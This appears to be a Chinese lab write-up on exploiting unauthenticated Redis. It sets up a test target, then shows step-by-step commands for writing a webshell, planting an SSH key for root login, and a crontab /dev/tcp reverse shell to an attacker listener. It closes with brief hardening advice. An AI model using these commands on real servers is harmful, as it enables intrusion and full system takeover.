前言
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据,攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。
影响版本:Redis 2.x,3.x,4.x,5.x。但是在Redis3.2之后增加了protected-mode安全模式,默认开启,且绑定了本地IP
所以想要复现需要更改配置
1 | bind 127.0.0.1 => bind 0.0.0.0 //开启远程访问 |
为了方便选择使用3.2版本之前的Redis:Redis-2.8.17,不需要修改配置文件即可复现
环境搭建
centos7 (192.168.0.182)
1 | # 下载redis-2.8.17 |
1 | # 由于是在本地搭建的,没有开启6379端口对外开放,所有先在centos上先关闭防火墙 |
漏洞利用
使用kali远程连接redis
1 | redis-cli -h 192.168.163.132 |
写入webshell
条件
- 成功连接redis服务器
- 知道web根目录的绝对路径
- redis服务器用户有写入权限
1 | config set dir /var/www/html |
写入ssh公钥远程连接
1.kali 本地生成ssh公钥
ssh-keygen -t rsa
2.进入.ssh目录,将公钥写入1.txt
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
3.将1.txt写入靶机
cat 1.txt | redis-cli -h 192.168.0.182 -x set crack
4.远程登录靶机redis服务
redis-cli -h 192.168.0.182
5.更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),设置上传公钥的备份文件名字为authorized_keys,save保存
CONFIG GET dir
config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys
CONFIG GET dbfilename
检查是否有authorized_keys文件
save
6.ssh连接靶机
ssh -i id_rsa root@192.168.0.182
登录成功
利用crontab反弹shell
kali使用nc监听端口
nc -lvvp 5555
kali连接redis服务
redis-cli -h 192.168.0.182
向服务器写入文件
1 | set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.128/5555 0>&1\n\n" |
查看nc 是否反弹到shell
防御
禁用高危命令,如远程修改 DB 文件地址
选择使用地权限运行redis服务,且禁止远程登录
设置Redis服务密码,或是绑定本地IP:127.0.0.1
Reference
www.feidao.site/wordpress/?p=2090
https://www.freebuf.com/vuls/248207.html
https://www.freebuf.com/vuls/223432.html
https://www.yyxzz.net/articles/36.html